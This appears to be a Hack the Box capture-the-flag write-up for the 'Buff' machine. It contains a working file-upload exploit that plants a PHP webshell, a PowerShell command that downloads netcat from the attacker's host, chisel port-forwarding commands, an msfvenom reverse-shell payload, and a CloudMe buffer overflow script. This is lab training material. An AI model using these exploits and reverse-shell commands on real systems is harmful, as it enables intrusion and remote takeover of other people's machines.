Hack the Box: Buff#

Buff was an easy machine on Hack the Box. Here’s my take on solving the challenge

Buff

Buff

TL;DR: There’s a Gym Management Software running on HTTP port 8080. It’s vulnerable to a unauthenticated PHP file upload and therefore RCE. Locally there’s a CloudMy version running with known buffer overflowe vulnerability which can be exploited to escalate privileges.

Recon#

Nmap scan shown only port 8080 open with HTTP server:

Nmap scan

Nmap scan

Main page:

Main page

Main page

Contact.php reveals an underlying system:

Contact,php

Contact,php

User#

There’s a CVE for Gym management Software 1.0. It exploits a possibility to bypass file type filter by setting proper magic bytes and content type to upload a webshell:

import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = raw_input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

def formatHelp(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
    BL   = Style.BRIGHT+Fore.GREEN
    RS   = Style.RESET_ALL
    FR   = Fore.RESET
    SIG  = BL+'            /\\\n'+RS
    SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
    SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
    SIG += BL+'            \/'+RS+'\n'
    return SIG

if __name__ == "__main__":
    print header();
    if len(sys.argv) != 2:
        print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
        print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'file': 
                  (
                    'kaio-ken.php.png', 
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>', 
                    'image/png', 
                    {'Content-Disposition': 'form-data'}
                  ) 
              }
    fdata   = {'pupload': 'upload'}
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)

Running the script will create a webshell:

Getting a webshell

Getting a webshell

The webshell can be used to get user flag:

User flag

User flag

Privlege escalation#

There’s an interesting port open on localhost:

Open port 8888 on localhost

Open port 8888 on localhost

There’s also a CloudMe process running :

# tasklist
​
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0                            0          8 K
System                           4                            0        140 K
-- snip --
CloudMe.exe                   6640                            0     37,704 K
-- snip --
​

Shauns downloads reveal program version:

CloudMe 1\.11\.2

CloudMe 1.11.2

There’s a CVE with a buffer overflow for this version. It’s listening on the local port 8888, so I need chisel to forward it. Needed files can be downloaded by HTTP from my Kali using powershell:

# powershell -nop -c “Invoke-WebRequest -Uri http://10.10.14.20/nc.exe -OutFile C:\xampp\htdocs\gym\upload\nc.exe -Verbose”

To get Chisel to work I need to run a server on Kali:

./chisel_1.6.0_linux_386 server -p 4445 -reverse

And the client on victim:

chisel.exe client 10.10.14.20:4445 R:8888:127.0.0.1:8888

I also need to generate a binary payload to run downloaded netcat and return a reverse shell:

msfvenom -a x86 -p windows/exec CMD=’C:\xampp\htdocs\gym\upload\nc.exe 10.10.14.20 443 -e cmd.exe’ -b ‘\x00\x0a\x0d’ -f python

Generated payload must be pasted to the exploit script:

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30


buf =  b""
buf += b"\xd9\xc3\xbd\x48\xf0\x19\x06\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x3e\x83\xea\xfc\x31\x6a\x14\x03\x6a\x5c\x12"
buf += b"\xec\xfa\xb4\x50\x0f\x03\x44\x35\x99\xe6\x75\x75\xfd"
buf += b"\x63\x25\x45\x75\x21\xc9\x2e\xdb\xd2\x5a\x42\xf4\xd5"
buf += b"\xeb\xe9\x22\xdb\xec\x42\x16\x7a\x6e\x99\x4b\x5c\x4f"
buf += b"\x52\x9e\x9d\x88\x8f\x53\xcf\x41\xdb\xc6\xe0\xe6\x91"
buf += b"\xda\x8b\xb4\x34\x5b\x6f\x0c\x36\x4a\x3e\x07\x61\x4c"
buf += b"\xc0\xc4\x19\xc5\xda\x09\x27\x9f\x51\xf9\xd3\x1e\xb0"
buf += b"\x30\x1b\x8c\xfd\xfd\xee\xcc\x3a\x39\x11\xbb\x32\x3a"
buf += b"\xac\xbc\x80\x41\x6a\x48\x13\xe1\xf9\xea\xff\x10\x2d"
buf += b"\x6c\x8b\x1e\x9a\xfa\xd3\x02\x1d\x2e\x68\x3e\x96\xd1"
buf += b"\xbf\xb7\xec\xf5\x1b\x9c\xb7\x94\x3a\x78\x19\xa8\x5d"
buf += b"\x23\xc6\x0c\x15\xc9\x13\x3d\x74\x87\xe2\xb3\x02\xe5"
buf += b"\xe5\xcb\x0c\x59\x8e\xfa\x87\x36\xc9\x02\x42\x73\x25"
buf += b"\x49\xcf\xd5\xae\x14\x85\x64\xb3\xa6\x73\xaa\xca\x24"
buf += b"\x76\x52\x29\x34\xf3\x57\x75\xf2\xef\x25\xe6\x97\x0f"
buf += b"\x9a\x07\xb2\x53\x26\xa4\x45\x35\x3b\x24\xc6\xe9\xab"
buf += b"\xb0\x42\x7d\x48\x4a\xd7\xe6\xf7\xc1\xbb\x9d\x77\x76"
buf += b"\x2b\x3f\x13\xda\xdd\xdc\xf5\x87\x59\x46\x29\x79\xaa"
buf += b"\xa6\x18\x49\xe4\x87\x6e\x87\xca\xd7\xae\xe3\x1e\x2b"
buf += b"\x8e\x26\x3a\x6b\xad\x55\xa0\x45\x54\xde\x4d\x9a"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + buf))   

buf = padding1 + EIP + NOPS + buf + overrun 

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,8888))
    s.send(buf)
except Exception as e:
    print(sys.exc_value)

Now running the script should return an admin reverse shell:

Root flag

Root flag